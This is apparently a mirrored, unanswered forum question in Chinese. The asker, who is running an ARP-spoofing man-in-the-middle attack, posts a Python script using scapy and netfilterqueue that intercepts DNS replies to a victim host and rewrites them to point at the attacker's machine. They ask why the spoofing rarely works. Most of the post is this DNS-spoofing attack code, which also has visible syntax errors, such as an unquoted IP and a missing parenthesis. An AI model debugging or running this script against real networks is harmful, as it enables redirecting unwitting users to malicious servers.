使用scapy和netfilterqueue启用和禁用dns欺骗

时间:2019-05-10 06:45:19

标签: python-3.x ubuntu dns scapy

在使用arp欺骗初始化我的Mitm之后,我已经使用了上面的代码来尝试和dns欺骗(这很好用,因为我可以在Wireshark中看到定向到我另一台PC的数据包),但是使用此代码似乎就像数据包没有被真正修改,有时可以工作(出于某种原因,每1000个dns请求中大约有1个)。

试图使用iptables PREROUTING方法和其他方法,尝试对我的arp欺骗是否成功进行了三次检查。

from netfilterqueue import NetfilterQueue
from scapy.all import UDP, DNSRR, DNS, IP
import sys, os
localIP = 192.168.1.32
os.system("sudo iptables -I FORWARD -p udp --sport 53 -d 192.168.1.50 -j NFQUEUE --queue-num 1"
def print_and_send(pkt):
    payload = pkt.get_payload()
    scapy_packet = IP(payload)
    #Check if it is a dns packet
    if scapy_packet.haslayer(UDP) and scapy_packet.getlayer(UDP).sport == 53:

        print("DNS packet in port " + str(scapy_packet.getlayer(UDP).dport ) + " ID : "+
        str(scapy_packet[DNS].id)+ " " +
        str(scapy_packet[IP].src) + "=> "+ str(scapy_packet[IP].dst) +" "+
        str(scapy_packet[DNS].qd.qname.decode('utf-8')))

        #Create the spoofed packet
        Spoofed =
        IP(
        dst = scapy_packet[IP].dst,
        src = scapy_packet[IP].src
        )/ \
        UDP(
        dport = scapy_packet.getlayer(UDP).dport,
        sport = scapy_packet.getlayer(UDP).sport
        )/ \
        DNS(
        id = scapy_packet[DNS].id ,
        qr = 1,
        aa = 1,
        qd = scapy_packet[DNS].qd ,
        an = DNSRR(rrname = scapy_packet[DNS].qd.qname, ttl = 19, rdata = localIP)
        )
        pkt.set_payload(bytes(Spoofed))

        pkt.accept()
    else:
        pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_send)
try:
     print("Waiting for data")
     nfqueue.run()
except KeyboardInterrupt:
    print("finished")

预计我从MITM攻击中获得的每个数据包都将通过此筛选器,并在每次运行我的计算机的运行html服务器时返回,而实际上产生的是正常的dns响应。

0 个答案:

没有答案